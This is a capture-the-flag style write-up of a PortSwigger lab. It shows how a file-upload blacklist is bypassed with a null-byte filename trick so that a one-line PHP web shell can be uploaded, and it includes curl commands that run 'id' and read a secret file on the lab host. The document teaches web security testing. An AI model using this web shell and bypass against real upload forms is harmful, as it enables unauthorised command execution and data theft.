Web shell upload via obfuscated file extension | Dec 16, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Web shell upload via obfuscated file extension! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Home page:
Login as user wiener:
In previous labs, we found the image upload function is vulnerable.
We can try to upload a PHP web shell:
<?php system($_GET['cmd']); ?>
However, it rejects because we’re not uploading a jpg or png file.
To bypass this, we can rename our web shell file to webshell.php.jpg:
We successfully uploaded the PHP web shell!
Let’s verify does it work or not:
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/File-Upload-Vulnerabilities]
└─# curl https://0a7200ad036e3545c4780f4d007600f9.web-security-academy.net/files/avatars/webshell.php.jpg --get --data-urlencode "cmd=cat /home/carlos/secret"
<?php system($_GET['cmd']); ?>
Nope.
How about using a null byte(%00) and append the .jpg extension?
By doing that, the null byte will cancel out the .jpg extension.
File uploaded, does it work?
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/File-Upload-Vulnerabilities]
└─# curl https://0a7200ad036e3545c4780f4d007600f9.web-security-academy.net/files/avatars/webshell.php --get --data-urlencode "cmd=id"
uid=12002(carlos) gid=12002(carlos) groups=12002(carlos)
It worked! Let’s cat the secret file!
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/File-Upload-Vulnerabilities]
└─# curl https://0a7200ad036e3545c4780f4d007600f9.web-security-academy.net/files/avatars/webshell.php --get --data-urlencode "cmd=cat /home/carlos/secret"
FFNCTnwaWTITzEr6MKrDhRN5FfTAS3XV
What we’ve learned:
- Web shell upload via obfuscated file extension